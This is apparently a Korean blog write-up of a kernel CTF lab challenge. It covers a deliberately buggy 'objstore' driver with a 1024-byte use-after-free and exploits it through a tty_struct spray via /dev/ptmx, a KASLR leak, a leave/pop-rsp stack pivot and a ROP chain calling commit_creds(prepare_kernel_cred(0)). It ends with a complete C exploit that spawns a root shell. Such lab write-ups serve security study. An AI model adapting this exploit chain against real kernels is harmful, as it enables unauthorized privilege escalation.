[Kernel Ctf Lab] Objstore

· omacs's blog


Table of Contents

Introduction #

디바이스 드라이버에 1024 바이트 use-after-free가 있을 때 stack pivot으로 루트를 얻을 수 있는지 묻는 문제이다[1].

Vulnerability #

주어진 드라이버는 objstore로 objstore_io와 obj_entry 구조체를 정의하여 사용한다. 이때 전자는 ioctl 인자 처리로, 후자는 내부 버퍼처럼 쓰인다.

 1#define OBJ_SIZE     1024   /* matches kmalloc-1024, same as tty_struct */
 2
 3struct objstore_io {
 4    unsigned long idx;
 5    unsigned long size;
 6    char __user  *data;
 7};
 8
 9/*
10 * Object layout — a simple data blob.  The entire 1024 bytes are
11 * available to the user.  When a tty_struct lands in the same slot
12 * after the UAF, the first 8 bytes overlap with tty->magic and
13 * bytes 24-32 overlap with the tty_operations pointer.
14 */
15struct obj_entry {
16    char data[OBJ_SIZE];
17};

이제 objstore_ioctl 함수 구현을 보면, 할당 (= CMD_CREATE), 해제 (= CMD_DELETE), 읽기 (= CMD_READ), 쓰기 (= CMD_WRITE) 명령어를 처리한다. 할당 명령어로 얻은 메모리 주소는 전역 배열에 기록되는데, 해제 명령어는 이를 NULL로 초기화하지 않는다. 그래서 UAF를 트리거 할 수 있다.

 1static struct obj_entry *objects[MAX_OBJECTS];
 2static DEFINE_MUTEX(store_lock);
 3
 4static long objstore_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
 5{
 6    struct objstore_io io;
 7    long ret = 0;
 8
 9    if (cmd == CMD_DELETE) {
10        /*
11         * CMD_DELETE takes just an index via arg directly.
12         * This keeps the ioctl interface minimal.
13         */
14        unsigned long idx = arg;
15        mutex_lock(&store_lock);
16        if (idx >= MAX_OBJECTS || !objects[idx]) {
17            mutex_unlock(&store_lock);
18            return -ENOENT;
19        }
20        kfree(objects[idx]);
21        /*
22         * BUG: pointer NOT set to NULL after free.
23         *
24         * This is the classic dangling-pointer pattern seen in real
25         * kernel drivers (cf. CVE-2021-22555, CVE-2022-2588).
26         * The slot still holds the old address, so subsequent
27         * CMD_READ / CMD_WRITE access freed memory.
28         */
29        mutex_unlock(&store_lock);
30        return 0;
31    }
32
33    if (copy_from_user(&io, (void __user *)arg, sizeof(io)))
34        return -EFAULT;
35
36    if (io.idx >= MAX_OBJECTS)
37        return -EINVAL;
38
39    mutex_lock(&store_lock);
40
41    switch (cmd) {
42    case CMD_CREATE:
43        if (objects[io.idx]) {
44            ret = -EEXIST;
45            break;
46        }
47        objects[io.idx] = kmalloc(OBJ_SIZE, GFP_KERNEL);
48        if (!objects[io.idx]) {
49            ret = -ENOMEM;
50            break;
51        }
52        memset(objects[io.idx], 0, OBJ_SIZE);
53        break;
54
55    case CMD_READ:
56        if (!objects[io.idx]) {
57            ret = -ENOENT;
58            break;
59        }
60        if (io.size > OBJ_SIZE)
61            io.size = OBJ_SIZE;
62        /*
63         * If the slot was freed and reclaimed by a tty_struct,
64         * this leaks tty_struct contents including the
65         * tty_operations pointer → KASLR defeat.
66         */
67        if (copy_to_user(io.data, objects[io.idx]->data, io.size)) {
68            ret = -EFAULT;
69            break;
70        }
71        break;
72
73    case CMD_WRITE:
74        if (!objects[io.idx]) {
75            ret = -ENOENT;
76            break;
77        }
78        if (io.size > OBJ_SIZE)
79            io.size = OBJ_SIZE;
80        /*
81         * If the slot was freed and reclaimed by a tty_struct,
82         * this overwrites tty_struct fields — including the
83         * tty_operations function-pointer table. The attacker
84         * can redirect any tty operation (e.g. ioctl, write)
85         * to a stack-pivot gadget → kernel ROP.
86         */
87        if (copy_from_user(objects[io.idx]->data, io.data, io.size)) {
88            ret = -EFAULT;
89            break;
90        }
91        break;
92
93    default:
94        ret = -ENOTTY;
95    }
96
97    mutex_unlock(&store_lock);
98    return ret;
99}

Exploit #

Objstore_ioctl()에서 메모리를 할당하거나 해제할 때 그 크기는 1024 바이트이다. 그래서 1024 바이트 UAF가 가능하고, 이 경우에 타겟 구조체로 tty_struct가 유용함이 알려져 있다[2].

Heap spray #

Tty_struct 구조체를 spray할 때는 /dev/ptmx를 사용한다. 이 파일을 열 때 이 구조체가 할당되며, 해제된 메모리에 할당되었는지 여부를 확인할 때는 obj_entry 구조체를 읽어서 커널 주소가 있는지 검사하면 된다. 그 이유는 tty_struct가 커널 영역의 주소를 갖는 포인터 멤버들을 포함하기 때문이다 (include/linux/tty.h에서 발췌)[4].

 1struct tty_struct {
 2  struct kref kref;
 3  struct device *dev;
 4  struct tty_driver *driver;
 5  const struct tty_operations *ops;
 6  int index;
 7
 8  struct ld_semaphore ldisc_sem;
 9  struct tty_ldisc *ldisc;
10    /* ... */
11}

Bypass KASLR #

상기 ptmx 파일을 열어서 할당되는 tty_struct 구조체의 멤버 중 ops 포인터 변수는 ptm_unix98ops 전역 변수의 주소를 담고 있다. 따라서 이 포인터 변수값을 읽으면 커널의 시작 주소를 얻을 수 있다.

Control flow hijacking #

상기 ptmx 파일을 descriptor로 하여 호출된 ioctl 시스템 콜은 tty_ioctl()을 호출한다. 이때 TCFLSH 명령어에 인자로 0을 주면 tty->ops->ioctl로 넘어간다 (/drivers/tty/tty_io.c에서 발췌)[4].

 1long tty_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
 2{
 3  struct tty_struct *tty = file_tty(file);
 4  struct tty_struct *real_tty;
 5  void __user *p = (void __user *)arg;
 6  int retval;
 7  struct tty_ldisc *ld;
 8
 9    /* ... */
10
11  /*
12   *  Now do the stuff.
13   */
14  switch (cmd) {
15        /* ... */
16  case TCFLSH:
17      switch (arg) {
18      case TCIFLUSH:
19      case TCIOFLUSH:
20      /* flush tty buffer and allow ldisc to process ioctl */
21          tty_buffer_flush(tty, NULL);
22          break;
23      }
24      break;
25        /* ... */
26  }
27  if (tty->ops->ioctl) {
28      retval = tty->ops->ioctl(tty, cmd, arg);
29      if (retval != -ENOIOCTLCMD)
30          return retval;
31  }
32    /* ... */
33  return retval;
34}

Stack pivot #

상기 tty->ops->ioctl을 호출하는 시점에서 RBP는 tty_struct의 시작 주소를 갖는다. 이는 tty->ops->ioctl에 쓰레기값을 대입한 후에 커널 패닉을 발생시키면 알 수 있다. 그래서 leave 가젯을 통해 stack pivot을 할 수 있고, 최종적으로 다음과 같이 tty_struct를 구성한다[2].

 1struct tty_struct {
 2  +000: kref        : 0x5401
 3  +008: dev;        : `pop rsp` gadget (return addr of `leave`)
 4  +010: driver;     : &tty_struct + 0x170 (`pop rsp`ed) (MUST be valid kheap addr)
 5  +018: ops;        : &tty_struct + 0x50
 6  +020: index;
 7  ...
 8  +050:             : fake vtable (size=0x120)
 9  ...
10  +110:             : tty->ops->ioctl (points to `leave` gadget)
11  ...
12  +170:             : actual ROP chain
13  ...
14}

위와 같이 구성하기 위해서는 tty_struct의 시작 주소를 알고 있어야 한다. 이는 tty_struct의 ldisc_sem이 초기에는 자기 자신의 주소를 갖는다는 점을 이용하여 얻을 수 있다.

Ret2usr and exploit code #

상기 ROP 체인 (actual ROP chain)은 pop rdi 가젯으로 commit_creds(prepare_kernelcred(0))을 하고 kernel page table isolation (KPTI) trampoline 후에 스택을 사용자 레지스터로 채워주면 된다[5, 6].


지금까지 설명한 것을 C 코드로 작성하면 다음과 같다.

  1#include <stdio.h>
  2#include <stdint.h>
  3#include <stdlib.h>
  4#include <unistd.h>
  5#include <fcntl.h>
  6#include <sys/ioctl.h>
  7#include <linux/ioctl.h>
  8
  9enum {
 10    MAX_OBJECTS = 16,
 11    OBJ_SIZE = 1024
 12};
 13
 14#define CMD_CREATE   _IOW('O', 1, struct objstore_io)
 15#define CMD_READ     _IOR('O', 2, struct objstore_io)
 16#define CMD_WRITE    _IOW('O', 3, struct objstore_io)
 17#define CMD_DELETE    _IO('O',  4)
 18
 19struct objstore_io {
 20    unsigned long idx;
 21    unsigned long size;
 22    char *data;
 23};
 24
 25struct tty_structure {
 26    int kref;
 27    void *dev;
 28    void *driver;
 29    void *ops;
 30    int index;
 31};
 32
 33enum {
 34    KBASE_NOKASLR = 0xffffffff81000000,
 35    LDSEM_READ_OFF = 0x38,
 36};
 37
 38void die(const char *funcname)
 39{
 40    perror(funcname);
 41    exit(-1);
 42}
 43
 44void printtty(struct tty_structure *tty)
 45{
 46    printf("kref: %d\n", tty->kref);
 47    printf("dev: %p\n", tty->dev);
 48    printf("driver: %p\n", tty->driver);
 49    printf("ops: %p\n", tty->ops);
 50    printf("index: %d\n", tty->index);
 51}
 52
 53void printbytes(uint64_t *buf, size_t len)
 54{
 55    size_t i;
 56
 57    for (i = 0; i < len; i++)
 58        printf("0x%016lx\n", buf[i]);
 59}
 60
 61enum {
 62    SPRAY_COUNT = 128
 63};
 64int fds[SPRAY_COUNT];
 65
 66int ptmx_spray(int fd, struct objstore_io *arg)
 67{
 68    unsigned int i;
 69    int res;
 70    struct tty_structure *tty;
 71
 72    for (i = 0; i < SPRAY_COUNT; i++) {
 73        fds[i] = open("/dev/ptmx", O_RDWR);
 74        if (fds[i] == -1)
 75            die("open");
 76
 77        res = ioctl(fd, CMD_READ, arg);
 78        if (res == -1)
 79            die("ioctl");
 80
 81        tty = (struct tty_structure *) arg->data;
 82        if (((uint64_t) tty->ops & 0xffffffff00000000) == 0xffffffff00000000) {
 83            printf("[*] fd: %d\n", fds[i]);
 84            return fds[i];
 85        }
 86    }
 87}
 88
 89void ptmxes_close(void)
 90{
 91    unsigned int i;
 92
 93    for (i = 0; i < SPRAY_COUNT; i++)
 94        close(fds[i]);
 95}
 96
 97void start_sh()
 98{
 99    char *args[] = {"/bin/sh", "-i", NULL};
100
101    execve("/bin/sh", args, NULL);
102}
103
104unsigned long u_cs;
105unsigned long u_ss;
106unsigned long u_rsp;
107unsigned long u_rflags;
108unsigned long u_rip;
109
110void save_state() {
111    __asm__(
112        ".intel_syntax noprefix;"
113        "mov u_cs, cs;"
114        "mov u_ss, ss;"
115        "mov u_rsp, rsp;"
116        "pushf;"
117        "pop u_rflags;"
118        ".att_syntax;"
119        );
120    u_rip = (unsigned long) &start_sh;
121}
122
123void ret2usr_tty_struct(uint64_t *buf, uint64_t ttybase, uint64_t kbase)
124{
125    struct tty_structure *tty;
126    uint64_t bufptr;
127    uint64_t leave = kbase + (0xffffffff810fe715 - KBASE_NOKASLR);
128    uint64_t pop_rsp = kbase + (0xffffffff8102b3c8 - KBASE_NOKASLR);
129    uint64_t pop_rdi = kbase + (0xffffffff810fb12f - KBASE_NOKASLR);
130    uint64_t prepare_kernel_cred = kbase + (0xffffffff8109abb0
131                                            - KBASE_NOKASLR);
132    uint64_t commit_creds = kbase + (0xffffffff8109a910 - KBASE_NOKASLR);
133    uint64_t kpti_trampoline = kbase + (0xffffffff81e00f41 - KBASE_NOKASLR);
134
135    save_state();
136
137    tty = (struct tty_structure *) buf;
138    tty->ops = ttybase + 0x50;
139    bufptr = (uint64_t) buf;
140    bufptr += 0x50;             /* ops */
141    bufptr += 96;               /* ops->ioctl */
142    *((uint64_t *) bufptr) = leave; /* leave; ret */
143    tty->dev = pop_rsp;               /* pop rsp; ret */
144    tty->driver = ttybase + 0x170;
145    bufptr = (uint64_t) buf;
146    bufptr += 0x170;
147    *((uint64_t *) bufptr) = pop_rdi; /* pop rdi; ret */
148    bufptr += 0x8;
149    *((uint64_t *) bufptr) = 0x0000000000000000;
150    bufptr += 0x8;
151    *((uint64_t *) bufptr) = prepare_kernel_cred; /* prepare_kernel_cred */
152    bufptr += 0x8;
153    *((uint64_t *) bufptr) = commit_creds; /* commit_cred */
154    bufptr += 0x8;
155    *((uint64_t *) bufptr) = kpti_trampoline; /* KPTI trampoline */
156    bufptr += 0x8;
157    *((uint64_t *) bufptr) = 0x0000000000000000;
158    bufptr += 0x8;
159    *((uint64_t *) bufptr) = 0x0000000000000000;
160    bufptr += 0x8;
161    *((uint64_t *) bufptr) = u_rip;
162    bufptr += 0x8;
163    *((uint64_t *) bufptr) = u_cs;
164    bufptr += 0x8;
165    *((uint64_t *) bufptr) = u_rflags;
166    bufptr += 0x8;
167    *((uint64_t *) bufptr) = u_rsp;
168    bufptr += 0x8;
169    *((uint64_t *) bufptr) = u_ss;
170}
171
172int main(int argc, char *argv[])
173{
174    int fd, ptmx_fd, res, idx;
175    struct objstore_io arg;
176    struct tty_structure *tty;
177    uint8_t buf[BUFSIZ] = { 0x41, };
178    uint64_t kbase, ttybase;
179
180    fd = open("/dev/objstore", O_RDWR);
181    if (fd == -1)
182        die("open");
183
184    arg.idx = 0;
185    if (argc == 2)
186        arg.idx = atoi(argv[1]);
187    printf("[*] idx: %ld\n", arg.idx);
188    arg.size = OBJ_SIZE;
189    arg.data = buf;
190    res = ioctl(fd, CMD_CREATE, &arg);
191    if (res == -1)
192        die("ioctl");
193    puts("[+] obj_entry allocated");
194
195    idx = arg.idx;
196    printf("[*] idx: %d\n", idx);
197    res = ioctl(fd, CMD_DELETE, idx);
198    if (res == -1)
199        die("ioctl");
200
201    ptmx_fd = ptmx_spray(fd, &arg);
202    puts("[+] Ptmx sprayed");
203
204    res = ioctl(fd, CMD_READ, &arg);
205    if (res == -1)
206        die("ioctl");
207
208    tty = (struct tty_structure *) buf;
209    kbase = (uint64_t) tty->ops - (0xffffffff82281b00 - KBASE_NOKASLR);
210    printf("[*] Kernel base: %p\n", (void *) kbase);
211
212    /* printbytes((uint64_t *) buf, OBJ_SIZE >> 3); */
213    ttybase = *((uint64_t *) buf + (LDSEM_READ_OFF >> 3));
214    ttybase -= LDSEM_READ_OFF;
215    printf("[*] TTY base: %lx\n", ttybase);
216
217    ret2usr_tty_struct((uint64_t *) buf, ttybase, kbase);
218    res = ioctl(fd, CMD_WRITE, &arg);
219    if (res == -1)
220        die("ioctl");
221    puts("[+] Data written");
222
223    /* tty->ops->ioctl is 0xffffffff845561f0 */
224    res = ioctl(ptmx_fd, TCFLSH, 0);
225    if (res == -1)
226        die("ioctl");
227
228    ptmxes_close();
229    return 0;
230}

References #

  1. 0xCD4, "kernel-ctf-lab." github.com, Accessed: Apr. 27, 2026. [Online]. Available: https://github.com/0xCD4/kernel-ctf-lab
  2. smallkirby, "tty_struct." github.com, Accessed: Apr. 27, 2026. [Online]. Available: https://github.com/smallkirby/kernelpwn/blob/master/technique/tty_struct.md
  3. ptr-yudai, "Holestein v3: Use-after-Freeの悪用." pawnyable.cafe, Accessed: Apr. 27, 2026. [Online]. Available: https://pawnyable.cafe/linux-kernel/LK01/use_after_free.html
  4. Linus Torvalds et al., "Linux kernel", (Version 6.1.75) [Source Code]. https://github.com/torvalds/linux
  5. ssongk, "[hxpCTF 2020] kernel-rop (with write-up) (2)." ssongkit.tistory.com, Accessed: Apr. 27, 2026. [Online]. Available: https://ssongkit.tistory.com/821
  6. "Linux Kernel Exploitation - ret2usr." scoding.de, Accessed: Apr. 27, 2026. [Online]. Available: https://scoding.de/linux-kernel-exploitation-buffer_overflow
last updated: